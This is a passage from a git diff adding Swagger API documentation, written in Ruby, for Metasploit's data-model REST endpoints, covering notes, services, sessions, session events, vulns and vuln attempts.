property :data, type: :string, required: true, description: 'The Base64 encoded contents of the Nmap XML file.'
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'A JSON object containing the Base64 encoded backup file.'
|
||||
schema do
|
||||
property :db_export_file do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,153 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module NoteApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
NTYPE_DESC = 'The type of note this is.'
|
||||
NTYPE_EXAMPLE = "'host.info', 'host.os.session_fingerprint', 'smb_peer_os', etc."
|
||||
HOST_ID_DESC = 'The ID of the host record this note is associated with.'
|
||||
HOST_DESC = 'The IP address of the host this note is associated with.'
|
||||
SERVICE_ID_DESC = 'The ID of the host record this service is associated with.'
|
||||
VULN_ID_DESC = 'The ID of the host record this note is associated with.'
|
||||
CRITICAL_DESC = 'Boolean regarding the criticality of this note\'s contents.'
|
||||
SEEN_DESC = 'Boolean regarding if this note has been acknowledged.'
|
||||
DATA_DESC = 'The contents of the note.'
|
||||
|
||||
# Swagger documentation for notes model
|
||||
swagger_schema :Note do
|
||||
key :required, [:ntype]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
|
||||
property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC
|
||||
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
|
||||
property :critical, type: :boolean, description: CRITICAL_DESC
|
||||
property :seen, type: :boolean, description: SEEN_DESC
|
||||
property :data, type: :string, description: DATA_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/notes' do
|
||||
# Swagger documentation for /api/v1/notes GET
|
||||
operation :get do
|
||||
key :description, 'Return notes that are stored in the database.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns note data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/notes POST
|
||||
operation :post do
|
||||
key :description, 'Create a note entry.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the note.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE, required: true
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :host, type: :integer, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
|
||||
property :critical, type: :boolean, description: CRITICAL_DESC
|
||||
property :seen, type: :boolean, description: SEEN_DESC
|
||||
property :data, type: :string, description: DATA_DESC
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/notes/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified notes.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/notes/{id}' do
|
||||
# Swagger documentation for api/v1/notes/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific note that is stored in the database.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of note to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns notes data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/notes/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing note.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the note.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,108 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module RootApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
ID_DESC = 'The primary key used to identify this object in the database.'
|
||||
CREATED_AT_DESC = 'The date and time this record was added to the database.'
|
||||
UPDATED_AT_DESC = 'The date and time this record was last updated in the database.'
|
||||
WORKSPACE_ID_DESC = 'The ID of the workspace this credential belongs to.'
|
||||
WORKSPACE_POST_DESC = 'The name of the workspace where this record should be created.'
|
||||
WORKSPACE_POST_EXAMPLE = 'default'
|
||||
HOST_EXAMPLE = '127.0.0.1'
|
||||
|
||||
swagger_root do
|
||||
key :swagger, '2.0'
|
||||
info do
|
||||
key :version, '1.0.0'
|
||||
key :title, 'Metasploit API'
|
||||
key :description, 'An API for interacting with Metasploit\'s data models.'
|
||||
license do
|
||||
key :name, 'BSD-3-clause'
|
||||
end
|
||||
end
|
||||
|
||||
key :consumes, ['application/json']
|
||||
key :produces, ['application/json']
|
||||
|
||||
#################################
|
||||
#
|
||||
# Documentation Tags
|
||||
#
|
||||
#################################
|
||||
tag name: 'credential', description: 'Credential operations.'
|
||||
tag name: 'db_export', description: 'Endpoint for generating and retrieving a database backup.'
|
||||
tag name: 'event', description: 'Event operations.'
|
||||
tag name: 'exploit', description: 'Exploit operations.'
|
||||
tag name: 'host', description: 'Host operations.'
|
||||
tag name: 'loot', description: 'Loot operations.'
|
||||
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
|
||||
tag name: 'nmap', description: 'Nmap operations.'
|
||||
tag name: 'note', description: 'Note operations.'
|
||||
tag name: 'service', description: 'Service operations.'
|
||||
tag name: 'session', description: 'Session operations.'
|
||||
tag name: 'session_event', description: 'Session Event operations.'
|
||||
tag name: 'vuln', description: 'Vuln operations.'
|
||||
tag name: 'vuln_attempt', description: 'Vuln Attempt operations.'
|
||||
tag name: 'workspace', description: 'Workspace operations.'
|
||||
|
||||
#################################
|
||||
#
|
||||
# Global parameters
|
||||
#
|
||||
#################################
|
||||
parameter :workspace do
|
||||
key :name, :workspace
|
||||
key :in, :query
|
||||
key :description, 'The workspace from which the data should be gathered from.'
|
||||
key :required, true
|
||||
key :type, :string
|
||||
end
|
||||
|
||||
parameter :update_id do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of the object to update'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
parameter :delete_opts do
|
||||
key :in, :body
|
||||
key :name, :delete_opts
|
||||
key :description, 'The IDs of the objects you want to delete.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :required, [:ids]
|
||||
property :ids do
|
||||
key :type, :array
|
||||
items do
|
||||
key :type, :integer
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#################################
|
||||
#
|
||||
# Host related parameters
|
||||
#
|
||||
#################################
|
||||
parameter :non_dead do
|
||||
key :name, :non_dead
|
||||
key :in, :query
|
||||
key :description, 'true to return only hosts which are up, false for all hosts.'
|
||||
key :required, false
|
||||
key :type, :boolean
|
||||
end
|
||||
|
||||
parameter :address do
|
||||
key :name, :address
|
||||
key :in, :query
|
||||
key :description, 'Return hosts matching the given IP address.'
|
||||
key :required, false
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,158 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module ServiceApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
HOST_DESC = 'The host where this service is running.'
|
||||
HOST_ID_DESC = 'The ID of the host record this service is associated with.'
|
||||
PORT_DESC = 'The port this service is listening on.'
|
||||
PORT_EXAMPLE = '443'
|
||||
PROTO_DESC = 'The transport layer protocol this service is using.'
|
||||
PROTO_ENUM = ['tcp', 'udp']
|
||||
NAME_DESC = 'The application layer protocol.'
|
||||
NAME_EXAMPLE = "'ssh', 'mssql', 'smb', etc."
|
||||
STATE_DESC = 'The current listening state of the service.'
|
||||
STATE_ENUM = ['open', 'closed', 'filtered', 'unknown']
|
||||
INFO_DESC = 'Detailed information about the service such as name and version information.'
|
||||
INFO_EXAMPLE = "'ProFTPD 1.3.5', 'WEBrick httpd 1.3.1 Ruby 2.3.4', etc."
|
||||
|
||||
# Swagger documentation for Service model
|
||||
swagger_schema :Service do
|
||||
key :required, [:id, :port, :proto]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
|
||||
property :port, type: :string, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :proto, type: :string, description: PROTO_DESC, enum: PROTO_ENUM
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/services' do
|
||||
# Swagger documentation for /api/v1/services GET
|
||||
operation :get do
|
||||
key :description, 'Return services that are stored in the database.'
|
||||
key :tags, [ 'service' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns service data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/services POST
|
||||
operation :post do
|
||||
key :description, 'Create a Service.'
|
||||
key :tags, [ 'service' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the service.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
|
||||
property :port, type: :string, required: true, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :proto, type: :string, required: true, description: PROTO_DESC, enum: PROTO_ENUM
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/services/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified services.'
|
||||
key :tags, [ 'service' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/services/{id}' do
|
||||
# Swagger documentation for api/v1/services/:id GET
|
||||
|
||||
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
|
||||
#
|
||||
# operation :get do
|
||||
# key :description, 'Return specific service that is stored in the database.'
|
||||
# key :tags, [ 'service' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of service to retrieve.'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns service data.'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Service
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
|
||||
# Swagger documentation for /api/v1/services/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing service.'
|
||||
key :tags, [ 'service' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the service.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,71 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module SessionApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
# Swagger documentation for sessions model
|
||||
swagger_schema :Session do
|
||||
key :required, [:id]
|
||||
property :id, type: :integer, format: :int32
|
||||
property :stype, type: :string
|
||||
property :via_exploit, type: :string
|
||||
property :via_payload, type: :string
|
||||
property :desc, type: :string
|
||||
property :port, type: :integer, format: :int32
|
||||
property :platform, type: :string
|
||||
property :opened_at, type: :string, format: :date_time
|
||||
property :closed_at, type: :string, format: :date_time
|
||||
property :closed_reason, type: :string
|
||||
property :local_id, type: :integer, format: :int32
|
||||
property :last_seen, type: :string, format: :date_time
|
||||
property :module_run_id, type: :integer, format: :int32
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/sessions' do
|
||||
# Swagger documentation for /api/v1/sessions GET
|
||||
operation :get do
|
||||
key :description, 'Return sessions that are stored in the database.'
|
||||
key :tags, [ 'session' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns session data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Session
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/sessions POST
|
||||
|
||||
# API based creation of session objects is not yet supported from a user-facing perspective.
|
||||
# Once this is implemented in a sensible way we will need to uncomment and update the below doc code.
|
||||
|
||||
# operation :post do
|
||||
# key :description, 'Create a session entry.'
|
||||
# key :tags, [ 'session' ]
|
||||
#
|
||||
# parameter do
|
||||
# key :in, :body
|
||||
# key :name, :body
|
||||
# key :description, 'The attributes to assign to the session.'
|
||||
# key :required, true
|
||||
# schema do
|
||||
# key :'$ref', :Session
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation.'
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Session
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,75 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module SessionEventApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
SESSION_ID_DESC = 'The ID of the session record that caused this event.'
|
||||
ETYPE_DESC = 'The type of session event that occurred.'
|
||||
ETYPE_ENUM = ['command', 'output', 'upload', 'download', 'filedelete']
|
||||
COMMAND_DESC = 'The command that was executed for this event.'
|
||||
OUTPUT_DESC = 'The resulting output of the executed command.'
|
||||
LOCAL_PATH_DESC = 'Path to the associated file for upload and download events.'
|
||||
LOCAL_PATH_EXAMPLE = '/path/to/file'
|
||||
REMOTE_PATH_DESC = 'Path to the associated file for upload, download, and filedelete events.'
|
||||
REMOTE_PATH_EXAMPLE = '/path/to/file'
|
||||
|
||||
# Swagger documentation for session events model
|
||||
swagger_schema :SessionEvent do
|
||||
key :required, [:etype, :session_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
|
||||
property :etype, type: :string, description: ETYPE_DESC, enum: ETYPE_ENUM
|
||||
property :command, type: :string, description: COMMAND_DESC
|
||||
property :output, type: :string, description: OUTPUT_DESC
|
||||
property :local_path, type: :string, description: LOCAL_PATH_DESC, example: LOCAL_PATH_EXAMPLE
|
||||
property :remote_path, type: :string, description: REMOTE_PATH_DESC, example: REMOTE_PATH_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/session-events' do
|
||||
# Swagger documentation for /api/v1/session-events GET
|
||||
operation :get do
|
||||
key :description, 'Return session events that are stored in the database.'
|
||||
key :tags, [ 'session_event' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns session event data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/session events POST
|
||||
operation :post do
|
||||
key :description, 'Create a session events entry.'
|
||||
key :tags, [ 'session_event' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the session event.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :etype, type: :string, required: true, description: ETYPE_DESC, enum: ETYPE_ENUM
|
||||
property :session, '$ref' => :Session, required: true
|
||||
property :command, type: :string, description: COMMAND_DESC
|
||||
property :output, type: :string, description: OUTPUT_DESC
|
||||
property :local_path, type: :string, description: LOCAL_PATH_DESC, example: LOCAL_PATH_EXAMPLE
|
||||
property :remote_path, type: :string, description: REMOTE_PATH_DESC, example: REMOTE_PATH_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,208 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module VulnApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
HOST_ID_DESC = 'The ID of host record associated with this vuln.'
|
||||
HOST_DESC = 'The host where this vuln was discovered.'
|
||||
NAME_DESC = 'The friendly name/title for this vulnerability.'
|
||||
NAME_EXAMPLE = 'Docker Daemon Privilege Escalation'
|
||||
INFO_DESC = 'Information about how this vuln was discovered.'
|
||||
INFO_EXAMPLE = 'Exploited by exploit/linux/local/docker_daemon_privilege_escalation to create session.'
|
||||
EXPLOITED_AT_DESC = 'The date and time this vuln was successfully exploited.'
|
||||
VULN_DETAIL_COUNT = 'Cached count of the number of associated vuln detail objects.'
|
||||
VULN_ATTEMPT_COUNT = 'Cached count of the number of associated vuln attempt object.'
|
||||
ORIGIN_ID_DESC = 'ID of the associated origin record.'
|
||||
ORIGIN_TYPE_DESC = 'The origin type of this vuln.'
|
||||
REFS_DESC = 'An array of public reference IDs for this vuln.'
|
||||
REF_ID_DESC = 'The ID of the related Mdm::ModuleRef or Mdm::VulnRef associated with this vuln.'
|
||||
REF_NAME_DESC = 'Designation for external reference. May include a prefix for the authority, such as \'CVE-\', in which case the rest of the name is the designation assigned by that authority.'
|
||||
REFS_EXAMPLE = ['CVE-2008-4250','OSVDB-49243','MSB-MS08-067']
|
||||
MODULE_REF_DETAIL_ID_DESC = 'The ID of the Mdm::Module::Detail record this ModuleRef is associated with.'
|
||||
|
||||
# Swagger documentation for vulns model
|
||||
swagger_schema :Vuln do
|
||||
key :required, [:host_id, :name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
property :exploited_at, type: :string, format: :date_time, description: EXPLOITED_AT_DESC
|
||||
property :vuln_detail_count, type: :integer, format: :int32, description: VULN_DETAIL_COUNT
|
||||
property :vuln_attempt_count, type: :integer, format: :int32, description: VULN_ATTEMPT_COUNT
|
||||
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC
|
||||
property :vuln_refs do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :VulnRef
|
||||
end
|
||||
end
|
||||
property :refs do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Ref
|
||||
end
|
||||
end
|
||||
property :module_refs do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :ModuleRef
|
||||
end
|
||||
end
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Ref do
|
||||
key :required, [:name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :ref_id, type: :integer, format: :int32, description: REF_ID_DESC
|
||||
property :name, type: :string, required: true, description: REF_NAME_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :ModuleRef do
|
||||
key :required, [:name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :detail_id, type: :integer, format: :int32, description: MODULE_REF_DETAIL_ID_DESC
|
||||
property :name, type: :string, required: true, description: REF_NAME_DESC
|
||||
end
|
||||
|
||||
swagger_schema :VulnRef do
|
||||
key :required, [:ref_id, :vuln_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :ref_id, type: :integer, format: :int32, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :vuln_id, type: :integer, format: :int32, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
|
||||
swagger_path '/api/v1/vulns' do
|
||||
# Swagger documentation for /api/v1/vulns GET
|
||||
operation :get do
|
||||
key :description, 'Return vulns that are stored in the database.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vulns POST
|
||||
operation :post do
|
||||
key :description, 'Create a vuln entry.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the vuln.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
property :refs do
|
||||
key :type, :array
|
||||
key :description, REFS_DESC
|
||||
key :example, REFS_EXAMPLE
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vulns/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified vulns.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/vulns/{id}' do
|
||||
# Swagger documentation for api/v1/vulns/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific vuln that is stored in the database.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of vuln to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vulns/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing vuln.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the vuln.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,83 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module VulnAttemptApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
VULN_ID_DESC = 'The ID of the vuln record associated with this vuln attempt was exploiting.'
|
||||
SESSION_ID_DESC = 'The ID of the session record associated with this vuln attempt if it was successful.'
|
||||
LOOT_ID_DESC = 'The ID of the loot record associated with this vuln attempt if loot was gathered.'
|
||||
ATTEMPTED_AT_DESC = 'The time that this vuln attempt occurred.'
|
||||
EXPLOITED_DESC = 'true if the vuln attempt was successful.'
|
||||
FAIL_REASON_DESC = 'Short reason why this attempt failed.'
|
||||
FAIL_DETAIL_DESC = 'Long details about why this attempt failed.'
|
||||
MODULE_DESC = 'Full name of the Metasploit module that was used in this attempt.'
|
||||
MODULE_EXAMPLE = 'linux/local/docker_daemon_privilege_escalation'
|
||||
USERNAME_DESC = 'The username of the user who made this vuln attempt.'
|
||||
|
||||
|
||||
# Swagger documentation for vuln_attempts model
|
||||
swagger_schema :VulnAttempt do
|
||||
key :required, [:vuln_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
|
||||
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
|
||||
property :loot_id, type: :integer, format: :int32, description: LOOT_ID_DESC
|
||||
property :attempted_at, type: :string, format: :date_time, description: ATTEMPTED_AT_DESC
|
||||
property :exploited, type: :boolean, description: EXPLOITED_DESC
|
||||
property :fail_reason, type: :string, description: FAIL_REASON_DESC
|
||||
property :fail_detail, type: :string, description: FAIL_DETAIL_DESC
|
||||
property :module, type: :string, description: MODULE_DESC, example: MODULE_EXAMPLE
|
||||
property :username, type: :string, description: USERNAME_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/vuln-attempts' do
|
||||
# Swagger documentation for /api/v1/vuln-attempts GET
|
||||
operation :get do
|
||||
key :description, 'Return vuln attempts that are stored in the database.'
|
||||
key :tags, [ 'vuln_attempt' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns vuln attempt data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vuln-attempts POST
|
||||
operation :post do
|
||||
key :description, 'Create a vuln attempt entry.'
|
||||
key :tags, [ 'vuln_attempt' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the vuln attempt.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
|
||||
property :attempted_at, type: :string, format: :date_time, description: ATTEMPTED_AT_DESC
|
||||
property :exploited, type: :boolean, description: EXPLOITED_DESC
|
||||
